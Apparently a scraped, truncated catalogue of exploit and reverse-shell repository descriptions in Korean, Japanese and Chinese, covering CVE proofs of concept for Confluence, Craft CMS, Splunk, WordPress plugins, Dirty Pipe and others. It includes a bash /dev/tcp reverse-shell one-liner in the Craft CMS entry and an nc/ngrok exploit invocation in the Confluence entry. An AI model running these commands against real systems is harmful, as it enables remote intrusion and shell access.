CVE-2020-5902-rce-gui

CVE-2020-5902-RCE-Big 취약점 활용 도구 GUI 버전 v1.0 도구 사용 설명 명령 실행 부분에서, 첫 번째 실행이 실패하면 여러 번 더 실행해 보세요. 다중 대상 주소 탐지 리버스 셸 실행 단일 대상 주소 탐지 파일 업로드 소프트웨어 다운로드 주소 링크: https://pan.baidu.com/s/1fqbcKQymxymG3z4E0vsVw 비밀번호: nmih...

CVE-2020-14882_Exploit_Gui

CVE-2020-14882ExploitGui 이 도구는 승인된 상태에서만 사용하십시오. 형사 사건이 발생하거나 인가되지 않은 공격 행위가 발생한 경우, 본인과 무관합니다. 여러분께서 《사이버보안법》을 잘 숙지하시기 바랍니다. 정찰 중 14882를 만났지만, 사용하기 좋은 GUI POC를 찾지 못해 재구성했습니다. 개인적으로 GUI 기반의 POC를 선호합니다. v1 버전에서는 10.3.6 버전이 사용 불가능합니다. v2 버전에서는 10.3.6 버전을 지원하며, 10.3.6 버전은 리버스 셸만 지원합니다. linux.xml을 웹에...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 실전 PoC 사용법 bun 다운로드 https://github.com/oven-sh/bun/releases ngrok 시작 ngrok tcp 4444 localhost 4444 리슨 nc -nvlp 4444 익스플로잇 실행 bun exploit-CVE-2023-22527.js --lhost 0.tcp.ap.ngrok.io --lport 12169 --target https://xxx/ 결과...

CIMCown

CIMCown CVE-2026-20200 Cisco IMC에서의 인자 주입Argument Injection을 통한 RCE Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 보안 권고: NSIDE-SA-2026-003 블로그 포스트:...

Java-Servlets-Shell

Java 서블릿 셸 https://www.redteam-pentesting.de/files/redteam-jboss.tar.gz 에서 영감을 받은 Java 서블릿 백도어 참고 : WAR에는 JSP 파일을 차단하거나 컴파일하지 않는 환경에서 사용할 수 있도록 JSP 페이지 대신 컴파일된 Java 코드가 포함되어 있습니다...

offsec-karaf-exploits

offsec-karaf-exploits 用法： python exploit.py --help 示例： python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf 重新构建 Payload 设置 Felix 框架 1. 创建 lib 目录 mkdir -p ./revshell/lib 2. 下载 Felix Framework 7.0.5 3. 解压缩 zip 压缩包 4. 将...

craftcms-cve-2025-32432-rce

payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

Gopherus

Gopherus SSRF に脆弱な場所をご存知なら、このツールは SSRF（Server Side Request Forgery）を悪用して RCE（Remote Code Execution）を獲得するための Gopher ペイロードを生成するのに役立ちます。また、被害者サーバー上でリバースシェルを取得するのにも役立ちます。詳細については、同じテーマのブログ Gopherus に関するブログ をご覧ください。 概要 このツールは以下のペイロードを生成できます: 1. MySQL Port-3306 2. PostgreSQLPort-5432 3. FastCGI Port-900...

php-reverse-shell

php-reverse-shell...

wp-file-manager

wp-file-manager WP File Manager 6.9 - 임의 파일 업로드로 인한 RCE usage: wp-file-manager.py -h -u URL -f FILE optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of host to check will need http or https -f FILE, --file FILE File of URLS to check + Testing https://localhost ...

Splunk-RCE-poc

Splunk RCE - PoC CVE-2023-46214, SVD-2023-1104에 대한 개념 증명PoC 익스플로잇 사용법 Splunk 인스턴스 URL, 사용자 이름, 비밀번호, 리버스 셸 IP 및 포트는 모두 명령줄 매개변수로 필요합니다. 예: $ python3 CVE-2023-46214.py --url --username --password --ip --port 사전 요구 사항 adddatamethods에 업로드 권한이 있는 Splunk 자격 증명 참고: 다른 벡터가 가능할 수도 있지만, 이것은 제가 사용한 방법일 뿐입니...

instant-appointment-arbitrary-file-upload

instant-appointment-arbitrary-file-upload instant-appointment - 임의 파일 업로드 설명 WordPress용 Instant Appointment 플러그인은 버전 1.2까지포함 임의 파일 업로드에 취약합니다. 이를 통해 인증되지 않은 공격자가 셸을 업로드하고 명령을 실행할 수 있습니다. 세부 정보 유형 : 플러그인 슬러그 : instant-appointment 영향받는 버전 : 1.2 CVSS 점수 : 9.8 CVSS 등급 : 높음 CVSS 벡터 :...

PPPoEject

PPPoEject CVE-2026-68121 Writeup !WARNING 이 PoC는 방어자, 유지보수자, 그리고 승인된 보안 팀이 자신이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템에서 패치, 완화 조치, 탐지, 노출 여부를 검증할 수 있도록 돕기 위한 목적으로만 제공됩니다. 이 자료의 사용이 합법적이고, 승인되었으며, 통제된 상태에서 격리된 테스트 환경에서 이루어지도록 보장하는 것은 전적으로 사용자의 책임입니다. !WARNING 이 PoC는 파괴적입니다. 이는 의도적으로 라이브 커널 메모리를 손상시킵니다. 잘못된...

WBCE-v1.6.3-Authenticated-RCE

WBCE CMS printerror$MESSAGE'GENERICINVALIDADDONFILE'; 모듈이 "유효한 애드온"으로 이 검사를 통과하면, 서버에서 install.php 스크립트가 자동으로 실행됩니다. 이 익스플로잇은 단순히 PHP 페이로드로 PHP 리버스 셸을 사용합니다. YouTube 데모: https://youtu.be/Dhg5gRe9Dzs?si=LHC29PBRRRPNNy73 Description: This is an Authenticated RCE exploit for WBCE CMS version...

sagemcom-fast-3890-exploit

Sagemcom Fast 3890 익스플로잇 이 익스플로잇은 Cable Haunt 취약점을 이용하여 로컬 네트워크 접근만으로 Sagemcom F@ST 389050.10.19 케이블 모뎀에 셸을 띄웁니다. 펌웨어 버전 50.10.21 이상은 Cable Haunt에 대해 안전해야 합니다. 이 개념 증명PoC은 악의적인 목적의 사용 가능성을 제한하기 위해 오직 로컬에서만 작동하도록 특별히 설계되었습니다. Technicolor TC7230에 대해 외부 연결로 리버스 셸을 만드는 또 다른 PoC는 여기에서 확인할 수 있습니다. 알려진 ...

CVE-2022-0847

CVE-2022-0847 CVE-2022-0847 간단한 재현 공개된 원문 주소: https://dirtypipe.cm4all.com/ 재현 환경 Linux kali 5.10.0-kali7-amd64 1 SMP Debian 5.10.28-1kali1 2021-04-12 x8664 GNU/Linux 의존성 gcc 사용 방법 git clone https://github.com/imfiver/CVE-2022-0847.git cd CVE-2022-0847 chmod +x Dirty-Pipe.sh bash Dirty-Pipe.sh...

Http-Asynchronous-Reverse-Shell

HTTP/S 非同期リバースシェル ✨ はじめに IDS、IPS、EDR、AV、ファイアウォールといった高度な検知システムが企業ネットワークを支配する時代において、オフェンシブセキュリティアセスメント中にそれらを回避することは課題です。ほとんどのリバースシェルはTCPトンネル（L4）を利用しており、現在では日常的に分析されフラグが立てられています。 このプロジェクトは革新的なソリューションを提供します : 正規のユーザー行動を模倣することで通常のWebトラフィックに溶け込む、HTTP/S上の完全非同期リバースシェルです。 従来のリバースシェルとは異なり、GETリクエスト...

CVE-2026-31431

설명: Cfail은 CVE-2026-31431일명 Copyfail을 C++ x86-64 어셈블리로 구현한 것으로, libc를 포함한 어떠한 종속성도 필요하지 않습니다. 실제로, 표준 라이브러리의 최소 구현 덕분에 모든 Linux x86-64 배포판에서 독립적으로 실행 가능한 범용 실행 파일을 얻을 수 있습니다. 따라서 이 프로그램은 '한 번 컴파일하면 어디서나 배포' 유형이며, '어디서나'는 취약한 무작위 Linux x86-64 배포판을 의미합니다. 취약한 시스템에서 권한 없는 사용자가 프로그램을 실행하면 루트 셸이 열립니다...

HRShell

HRShell: Flask로 구축된 고급 HTTPS 리버스 셸 HRShell은 Flask로 구축된 HTTPS/HTTP 리버스 셸이며 python 3.x와 호환됩니다. client.py는 다음에서 성공적으로 테스트되었습니다: Linux ubuntu 18.04 LTS, Kali Linux 2019.3 macOS Mojave/Catalina Windows 7/10 server.py는 Unix 시스템과 호환됩니다 Windows 지원은 곧 제공 예정.... 기능 은밀함 TLS 지원 🔑 즉석 인증서 사용 또는 인증서/키 쌍 지정 자세한...

watcher

안티 리버스 셸 안녕하세요, 저는 themoon일명 shalev입니다. 저는 보안 수준이 낮은 서버를 운영하는 사람들을 돕기 위해 이 프로젝트를 만들었습니다. 이 프로젝트를 사용하여 리버스 셸로 컴퓨터를 공격하려는 공격자로부터 컴퓨터를 보호할 수 있습니다. 이 프로젝트에 대한 정보 이 프로젝트가 어떻게 작동하는지 여기서 확인할 수 있습니다 https://miro.com/app/board/uXjVGAn3Ml8=/?sharelinkid=431140843238 리버스 셸 의심스러운 프로세스 및 명령 실행 탐지 쉘코드 인젝션 모델 탐...